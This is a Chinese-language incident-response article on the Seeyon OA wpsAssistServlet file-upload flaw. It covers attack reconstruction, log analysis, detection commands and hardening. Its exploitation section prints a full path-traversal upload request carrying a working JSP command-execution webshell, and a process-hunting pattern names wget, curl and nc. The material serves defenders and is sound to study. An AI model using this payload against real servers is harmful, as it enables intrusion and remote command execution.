当前位置: 首页 > news >正文

从一次应急响应看致远OA wpsAssistServlet漏洞:攻击者如何上传WebShell及如何排查

企业安全实战:致远OA wpsAssistServlet漏洞攻击溯源与应急响应指南

去年某金融企业内网渗透测试中,我们遇到一个典型案例:攻击者仅用3小时就通过致远OA漏洞完成从外网入侵到内网横向移动的全过程。事后分析发现,攻击链的起点正是wpsAssistServlet接口的任意文件上传漏洞。本文将基于真实攻防对抗经验,还原攻击者如何利用该漏洞植入WebShell,并为企业安全团队提供可落地的排查方案。

1. 攻击事件复盘:从异常告警到漏洞定位

某周四凌晨2点15分,某上市公司SOC平台突然触发多条异常告警:

  • Web服务器/tmp目录下出现异常.jsp文件
  • OA系统日志中出现大量404状态码的/seeyon/wpsAssistServlet请求
  • 数据库服务器出现非常规时间段的net.exe执行记录

安全团队立即启动应急响应流程。通过分析IIS日志,发现攻击者在成功利用漏洞前进行了大量探测行为:

# 典型攻击者探测请求(已脱敏) 192.168.1.100 - - [15/Mar/2023:02:03:12 +0800] "POST /seeyon/wpsAssistServlet HTTP/1.1" 404 1532 192.168.1.100 - - [15/Mar/2023:02:03:15 +0800] "GET /seeyon/manager/login.jsp HTTP/1.1" 200 4231

攻击者常用上传路径分析

路径类型典型位置隐藏程度
Web根目录/ROOT/cmd.jsp★★☆☆☆
临时目录/tmp/1.jsp★★★☆☆
静态资源目录/static/images/logo.jsp★★★★☆
日志目录/logs/access.jsp★★★★★

注意:攻击者通常会修改文件时间戳使其与合法文件保持一致,单纯依靠时间排序可能漏检

2. 漏洞利用深度解析:攻击者的操作手册

通过还原攻击流量,我们梳理出攻击者的典型操作流程:

  1. 环境探测阶段

    • 扫描/seeyon/目录下的敏感接口
    • 检查OA版本信息(通过/seeyon/README.txt
    • 测试其他已知漏洞作为备用方案
  2. 漏洞利用阶段
    攻击者发送的特制请求包包含以下关键特征:

POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/payload.jsp&fileId=2 HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upload"; filename="test.txt" Content-Type: text/plain <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundaryABC123--
  1. 权限维持阶段
    • 创建多个WebShell副本(平均每个受害服务器发现3-5个)
    • 添加计划任务实现持久化
    • 清除部分访问日志(但会残留DELETE请求记录)

3. 企业级应急响应方案

3.1 即时处置措施

网络层封堵

# Cisco ASA示例规则 access-list OUTSIDE_IN extended deny tcp any any eq 80 url "/seeyon/wpsAssistServlet" access-list OUTSIDE_IN extended deny tcp any any eq 443 url "/seeyon/wpsAssistServlet"

主机层检测(Linux环境示例):

# 查找最近3天修改的jsp文件 find /var/www/ -name "*.jsp" -mtime -3 -ls # 检查异常进程 ps aux | grep -E 'wget|curl|nc|netcat|perl|python|php|sh|bash' # 检查计划任务 crontab -l ls -al /etc/cron.*/

3.2 深度排查指南

日志分析关键点

  1. 搜索包含wpsAssistServlet的POST请求
  2. 检查响应状态码为200但返回长度异常的请求
  3. 关注非常规时间段的文件创建事件

WebShell特征检测表

检测维度合法文件恶意WebShell
文件大小通常>5KB通常<3KB
包含关键词业务相关eval(runtime.exec
访问频率有规律突发性
引用来源内部IP境外IP

3.3 长效防护策略

  1. 补丁管理
    受影响版本应立即升级至:

    • A8 V8.1SP2(补丁编号:SEEYON-2023-001)
    • G6 V8.2(补丁编号:SEEYON-2023-002)
  2. 防御加固

    • 在Nginx层添加规则拦截恶意请求:
    location ~* ^/seeyon/wpsAssistServlet { deny all; }
    • 启用文件完整性监控(FIM)关键目录:
    # 监控Web根目录变化 auditctl -w /var/www/html/ -p wa -k web_content

4. 攻击痕迹取证与溯源

在一起制造业客户案例中,我们通过以下方法成功定位攻击者:

  1. 从Web访问日志中提取唯一User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51
  2. 关联威胁情报发现该UA与某APT组织工具特征匹配
  3. 通过WAF日志还原攻击路径时间线:
时间操作源IP结果
02:03目录扫描185.xxx.xxx.xx发现wpsAssistServlet
02:17首次上传测试185.xxx.xxx.xx失败(参数错误)
02:29成功上传WebShell185.xxx.xxx.xx返回200
02:35执行whoami命令185.xxx.xxx.xx获取nt authority\system

在实际处置过程中,我们发现多数企业存在以下盲点:

  • 未监控/tmp等临时目录的文件变化
  • 允许OA服务器直接连接数据库
  • 缺乏对.jsp文件的内容检测机制
http://www.jsqmd.com/news/1015542/

相关文章:

  • 避开S32K3 FlexCAN的坑:从初始化到中断接收,你的配置流程真的对吗?
  • 2026年山东隔油池厂家口碑推荐:谁在领跑行业标准? - 优质品牌商家
  • 第21章:Rerank 重排与召回质量优化
  • MDPI投稿避坑指南:从拒稿邮件到成功录用,我的重复率血泪史
  • 山东大学项目实训个人纪实(6)——降低唇形同步性能需求
  • 手把手教你排查LIN总线‘鬼压床’:从节点反复休眠唤醒的实战诊断与解决
  • 2026年6月铝合金蜗轮头源头厂家推荐,风阀手动执行器/手轮式风阀欧姆/可控位置蜗轮头,铝合金蜗轮头实力厂家选哪家 - 品牌推荐师
  • 美国华盛顿林肯纪念堂前倒影池,历史庄严又平静
  • 2026年光伏围栏网厂家怎么选?7家实力企业横向对比与采购指南 - 优质品牌商家
  • CubeMX配置STM32H743的LWIP总失败?别只调软件,这份硬件自查清单请收好
  • ArcGIS属性表连接翻车实录:从Excel导入到空间连接,我踩过的坑你别再踩
  • VeiRun v1
  • 哈工大NLP期末考后复盘:除了背PPT,这些实战知识点你掌握了吗?
  • 技术深度解析:基于PyQt6的小米穿戴设备表盘可视化开发工具Mi-Create
  • MPU6050模块DIY翻车实录:ID能读,数据全为零?原来是这个电容惹的祸
  • 全志VIN驱动调试避坑指南:从I2C不通到画面异常的5个常见问题排查
  • 避坑指南:在AT32F403A上配置8串口中断,这些细节千万别忽略
  • 避坑指南:复现APFNet时,GTOT和RGBT234数据集预处理与三阶段训练的那些‘坑’
  • FPG平台:用标准方式看平台稳定性,更容易形成稳定判断
  • 任敏、赵露思等入围最具影响力女演员,绽放时代影响力
  • 【Springboot毕设全套源码+文档】基于vue+springboot高校校友信息管理系统的设计与开发(丰富项目+远程调试+讲解+定制)
  • 避开噪声坑:用ETA6002给锂电池充电,你的后级电路真的安全了吗?
  • 南通五大猫舍犬舍测评:伴西西领跑,潮湿地区购宠首选 - 同城宠物优选基地
  • 盐城五大猫舍犬舍测评:伴西西登顶,沿海购宠避坑首选 - 同城宠物优选基地
  • CANN Ascend C语言扩展深度解读:SIMD/SIMT混合编程模型与Reg向量化架构设计原理
  • Seata
  • 第23章:结构化数据问答——SQL、Pandas 与业务报表
  • 阿里云ECS认证考试一次过!保姆级报名+考试全流程(附最新题库解析)
  • ARM Cortex-M3/M4调试实战:如何通过Bus Fault状态寄存器精准定位内存访问错误?
  • 凉席哪家品牌评价高